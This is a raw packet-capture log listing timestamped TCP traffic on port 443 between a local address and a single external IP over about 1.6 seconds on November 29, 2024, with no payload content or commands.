Nov 29, 2024 15:45:09.031023979 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:09.031038046 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:09.050465107 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:09.050510883 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:09.050544024 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:09.050550938 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:09.050566912 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:09.050586939 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:09.100270033 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:09.100315094 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:09.100363970 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:09.100374937 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:09.100405931 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:09.100424051 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:09.214966059 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:09.214998007 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:09.215132952 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:09.215152979 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:09.215199947 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:09.263448954 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:09.263492107 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:09.263678074 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:09.263689995 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:09.263736010 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:09.270459890 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:09.270488977 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:09.270627022 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:09.270633936 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:09.270668030 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:09.278553963 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:09.278579950 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:09.278691053 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:09.278697968 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:09.278734922 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:09.286674976 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:09.286699057 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:09.286770105 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:09.286777020 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:09.286829948 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:09.293809891 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:09.293836117 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:09.293879032 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:09.293886900 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:09.293910027 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:09.293924093 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:09.302489042 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:09.302511930 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:09.302570105 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:09.302577019 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:09.302608967 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:09.302627087 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:09.309468985 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:09.309494019 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:09.309531927 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:09.309537888 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:09.309577942 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:09.309598923 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:09.352893114 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:09.352920055 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:09.353022099 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:09.353029966 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:09.353068113 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:09.471139908 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:09.471168995 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:09.471293926 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:09.471318960 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:09.471362114 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:09.477421045 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:09.477452993 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:09.477490902 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:09.477498055 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:09.477525949 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:09.477539062 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:09.482844114 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:09.482868910 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:09.482924938 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:09.482930899 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:09.482956886 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:09.482979059 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:09.488986015 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:09.489013910 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:09.489064932 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:09.489073038 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:09.489098072 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:09.489110947 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:09.495213985 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:09.495239019 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:09.495302916 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:09.495311022 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:09.495362043 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:09.500704050 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:09.500727892 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:09.500813007 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:09.500819921 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:09.500864029 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:09.504280090 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:09.507119894 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:09.507144928 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:09.507220984 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:09.507226944 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:09.507242918 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:09.507266998 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:09.516993046 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:09.561372042 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:09.561398983 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:09.561536074 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:09.561546087 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:09.561595917 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:09.680557013 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:09.680618048 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:09.680653095 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:09.680674076 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:09.680684090 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:09.680712938 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:09.686152935 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:09.686176062 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:09.686222076 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:09.686230898 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:09.686242104 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:09.686269045 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:09.692433119 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:09.692461014 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:09.692501068 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:09.692508936 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:09.692537069 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:09.692545891 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:09.698483944 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:09.698503971 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:09.698570013 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:09.698580027 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:09.698627949 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:09.704078913 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:09.704098940 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:09.704165936 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:09.704175949 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:09.704221964 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:09.710195065 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:09.710217953 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:09.710263968 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:09.710273027 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:09.710282087 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:09.710309029 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:09.718210936 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:09.718231916 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:09.718275070 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:09.718282938 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:09.718293905 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:09.718321085 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:09.727761030 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:09.778755903 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:09.778784037 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:09.778867006 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:09.778879881 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:09.778919935 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:09.891102076 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:09.891135931 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:09.891252041 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:09.891264915 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:09.891316891 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:09.896615028 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:09.896637917 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:09.896701097 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:09.896713018 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:09.896750927 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:09.902826071 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:09.902848959 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:09.902909994 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:09.902916908 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:09.902928114 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:09.902955055 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:09.908349991 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:09.908370972 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:09.908452988 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:09.908452988 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:09.908461094 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:09.908494949 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:09.913961887 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:09.913985014 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:09.914058924 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:09.914066076 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:09.914119005 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:09.918879032 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:09.918901920 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:09.918978930 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:09.918987036 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:09.919025898 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:09.925667048 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:09.928381920 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:09.928405046 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:09.928486109 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:09.928493977 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:09.928535938 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:09.934758902 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:09.989276886 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:09.989356041 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:09.989412069 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:09.989418983 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:09.989447117 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:09.989470959 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:10.101691961 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:10.101763964 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:10.101855040 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:10.101865053 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:10.101887941 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:10.101901054 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:10.106585979 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:10.106632948 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:10.106672049 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:10.106678963 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:10.106703043 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:10.106724977 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:10.112274885 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:10.112318039 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:10.112358093 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:10.112364054 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:10.112374067 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:10.112401962 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:10.117897034 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:10.117944956 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:10.117979050 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:10.117985010 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:10.118009090 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:10.118021011 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:10.123348951 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:10.123404980 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:10.123440981 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:10.123446941 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:10.123466969 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:10.123486042 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:10.128207922 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:10.128248930 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:10.128278017 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:10.128284931 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:10.128314018 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:10.128323078 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:10.139416933 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:10.139460087 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:10.139508009 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:10.139514923 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:10.139537096 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:10.139549971 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:10.148823977 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:10.200058937 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:10.200120926 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:10.200138092 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:10.200148106 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:10.200175047 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:10.200193882 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:10.312347889 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:10.312407017 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:10.312577009 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:10.312587023 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:10.312750101 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:10.317903996 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:10.317946911 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:10.317985058 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:10.317991018 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:10.318017960 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:10.318031073 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:10.322973013 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:10.323019981 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:10.323050976 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:10.323056936 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:10.323081970 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:10.323103905 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:10.328319073 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:10.328358889 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:10.328389883 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:10.328397036 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:10.328412056 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:10.328437090 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:10.333865881 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:10.333909988 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:10.333940983 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:10.333949089 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:10.333967924 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:10.333986044 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:10.338763952 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:10.338807106 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:10.338834047 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:10.338840961 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:10.338876009 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:10.338901997 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:10.349915028 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:10.350076914 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:10.350116968 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:10.350157976 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:10.350163937 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:10.350191116 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:10.350207090 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:10.362231016 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:10.410686016 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:10.410728931 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:10.410769939 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:10.410778046 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:10.410805941 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:10.410825968 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:10.549875021 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:10.549936056 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:10.550148010 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:10.550148010 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:10.550158978 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:10.550215006 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:10.555340052 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:10.555383921 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:10.555417061 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:10.555423975 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:10.555438995 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:10.555464983 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:10.561279058 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:10.561319113 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:10.561352015 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:10.561358929 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:10.561389923 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:10.561398029 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:10.566224098 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:10.566267014 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:10.566287994 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:10.566293955 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:10.566329956 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:10.566339016 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:10.571284056 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:10.571345091 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:10.571362972 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:10.571369886 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:10.571449041 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:10.571449041 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:10.576514006 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:10.576534033 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:10.576597929 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:10.576605082 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:10.576648951 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:10.582024097 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:10.582043886 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:10.582098961 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:10.582106113 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:10.582161903 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:10.585901022 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:10.622225046 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:10.622246027 CET	443	49704	149.129.12.34	192.168.2.5
